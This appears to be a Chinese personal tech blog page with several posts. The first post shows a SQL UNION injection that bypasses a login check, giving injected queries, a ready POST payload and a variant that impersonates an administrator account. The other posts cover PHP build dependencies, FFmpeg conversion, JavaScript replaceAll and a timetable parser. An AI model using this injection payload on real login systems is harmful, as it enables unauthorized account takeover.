巧妙地使用 SQL UNION 注入 作者: Chuwen 时间: 2020-07-01 分类: MySQL 评论 我们一般验证用户登录时,密码是否输入正确,一般是会这么做 1. 客户端 通过 post 提交用户名(username)和密码(pwd) 2. 服务端 拿到 username,进行数据库查询(假设没做对SQL注入措施),一般会这样写 SQL 语句(假设 `$username` 变量是获取用户 post 提交的用户名): `SELECT username,pwd FROM user_table WHERE username='$username'` 3. 然后查询得到结果,判断查询结果的密码是否与**接收的密码**一致 4. 好了重点了来了,因为没有做防SQL注入,我们可以这样注入 > 注意末尾 **#** 别漏掉了,写上这个就会忽略后面所有的语句 ``` SELECT username,pwd FROM user_table WHERE username='' UNION SELECT '','45cf93bd4f762c6597b68e615b153bd0'# ``` 此条语句的执行结果是: ``` +----------+----------------------------------+ | username | pwd | +----------+----------------------------------+ | | 45cf93bd4f762c6597b68e615b153bd0 | +----------+----------------------------------+ ``` 没错,我们使用 `UNION SELECT` 查询,可以控制输出字段的值,但前提是你要知道**查询了哪些字段** 这样我们 POST 提交参数: ``` username='UNION SELECT '','123456'#&pwd=123456 ``` 就可以骗过验证 --- 如果你知道某个账号(假设是 `nowtime`)具有**超级管理员权限**,那么让其执行以下语句就可以控制输出其密码 ``` SELECT username,pwd FROM user WHERE username='' UNION select username,'123456' as pwd FROM user where username='nowtime'# ``` 运行结果: ``` +----------+----------+ | username | pwd | +----------+----------+ | nowtime | 123456 | +----------+----------+ ```
Ubuntu 编译安装 PHP 8.0-Alpha 过程 作者: Chuwen 时间: 2020-06-26 分类: PHP 评论 ``` apt install libsqlite3-dev ``` ## configure: error: Please reinstall the BZip2 distribution 那就去安装 ``` sudo apt-get install libbz2-dev ``` ## No package 'libcurl' found ``` apt-get install libcurl4-openssl-dev ``` ## configure: error: GNU MP Library version 4.2 or greater required. ``` apt install libgmp-dev ``` ## No package 'oniguruma' found ``` apt install libonig-dev ``` ## configure: error: Please reinstall readline - I cannot find readline.h ``` sudo apt-get install libreadline6-dev ``` --- ``` apt install libsqlite3-dev apt-get install libbz2-dev apt-get install libcurl4-openssl-dev apt install libgmp-dev apt install libonig-dev apt-get install libreadline6-dev ``` ``` +--------------------------------------------------------------------+ | License: | | This software is subject to the PHP License, available in this | | distribution in the file LICENSE. By continuing this installation | | process, you are bound by the terms of this license agreement. | | If you do not agree with the terms of this license, you must abort | | the installation process at this point. | +--------------------------------------------------------------------+ Thank you for using PHP. configure: WARNING: unrecognized options: --enable-inline-optimization, --with-libxml-dir, --with-xmlrpc, --with-pcre-regex, --with-pcre-dir, --with-gd, --with-jpeg-dir, --with-png-dir, --with-freetype-dir, --with-onig, --enable-zip, --enable-wddx ```
Windows FFmpeg 批量 flac 转 mp3 音乐格式 作者: Chuwen 时间: 2020-06-25 分类: Windows 评论 # 请使用 CMD 执行以下命令即可 > 这个是创建文件夹 ``` md result ``` > 批量转换格式到 result 文件夹下 ``` for /R %v IN (*.flac) do ( ffmpeg -i %v -ab 320k -ar 44100 -id3v2_version 3 "result\%~nv.mp3") ```
JavaScript 原生支持 replaceAll 了 作者: Chuwen 时间: 2020-06-24 分类: 其他分类 1 条评论 详见 MDN:https://developer.mozilla.org/zh-CN/docs/Web/JavaScript/Reference/Global_Objects/String/replaceAll > `replaceAll()` 方法返回一个新字符串,该字符串的所有满足;模式的匹配,都被用替换者;替换了。 模式 可以是一个字符串或者一个 `RegExp`, 并且替代者可以是一个字符串,也可以是每次匹配都要调用的函数。 # 不过兼容性很低,只有 Chrome 85、Firefox 77、Safari 13.1 开始支持 ![Snipaste_2020-06-24_16-23-06.png][1] # Chrome 85 运行结果 ``` 我66你66啊".replace("66", "喜欢"); >>> "我喜欢你66啊" "我66你66啊".replaceAll("66", "喜欢"); >>> "我喜欢你喜欢啊" ``` ![Snipaste_2020-06-24_16-28-26.png][2] # 当然你还可以使用 replace 实现类似功能 ``` "我666你666啊".replace(/666/g, "喜欢"); >>> "我喜欢你喜欢啊" "我{{$tmp}}你{{$tmp}}啊".replace(/{{\$tmp}}/g, "喜欢"); >>> "我喜欢你喜欢啊" ``` [1]: https://cdn.nowtime.cc/2020/06/24/3937386759.png [2]: https://cdn.nowtime.cc/2020/06/24/4110438231.png
小爱课程表 新版正方教务系统通用代码 作者: Chuwen 时间: 2020-06-10 分类: JQuery 评论 ![Snipaste_2020-06-10_20-10-18.png][1] ![Snipaste_2020-06-10_20-10-18.png][2] # 代码 ``` function scheduleHtmlParser(html) { //除函数名外都可编辑 //传入的参数为上一步函数获取到的html //可使用正则匹配 //可使用解析dom匹配,工具内置了$,跟jquery使用方法一样,直接用就可以了,参考:https://juejin.im/post/5ea131f76fb9a03c8122d6b9 //以下为示例,您可以完全重写或在此基础上更改 let course = $('#table1 .timetable_con'); var courseInfos = [];//课程信息 var sectionsTimes = [];//节次信息,非必须 for (let i = 0; i < course.length; i++) { var _name = $(course[i]).find("p[class=title]").text();//课程名 var _day_session = $(course[i]).parent().attr("id").split("-"); var day = _day_session[0];//星期几的课 var _postion = '',//上课地点 _teacher = '',//教师 sectionsTmp = [],//临时储存节次 array weeksTmp = [];////临时存储周次 array $(course[i]).find("p").each(function (index, item) { var _typeName = $(this).children("span").attr("data-original-title");//类别名。节/周、上课地点、教师、教学班名... if(_typeName !== undefined) _typeName = _typeName.trim(); var _text = $(this).text().trim(); if (_typeName === '节/周') { var _length = _text.match(/\((.+?)节\)/); //判断是否存在节次 if (_length === null) { return 0;//不存在就跳出本次循环 } //当前课程节次信息 sectionsTmp = function () { let num = _length[1].split("-"); let tmp = []; for (let i = parseInt(num[0]); i <= parseInt(num[1]); i++) { tmp.push({ section: parseInt(i) }); } return tmp; }(); //临时存储周次 weeksTmp = function () { var tmp = [], _week = _text.replace(_length[0], "").split("周")[0],//周次 _weekRange = _week.split("-"), _weeekType = -1;//-1:不分单双周,1:单周,0:双周 if (_text.indexOf("(单)") !== -1) { _weeekType = 1; } else if (_text.indexOf("(双)") !== -1) { _weeekType = 0; } for (let i = parseInt(_weekRange[0].trim()); i <= parseInt(_weekRange[1]); i++) { if (i % 2 === _weeekType && _weeekType !== -1) tmp.push(i);//特殊单双周压入 if (_weeekType === -1) tmp.push(i);//部分单双周压入 } return tmp; }(); } else if (_typeName === '上课地点') { _position = _text; } else if (_typeName === '教师') { _teacher = _text; } }); courseInfos.push({ name: _name,//课程名 position: _position,//位置 teacher: _teacher,//教师名 day: day, weeks: weeksTmp,//哪几周有课 sections: sectionsTmp,//哪几节次 }) } console.info(courseInfos); return { courseInfos: courseInfos } } ``` [1]: https://cdn.nowtime.cc/2020/06/10/1914996304.jpg [2]: https://cdn.nowtime.cc/2020/06/10/383694665.png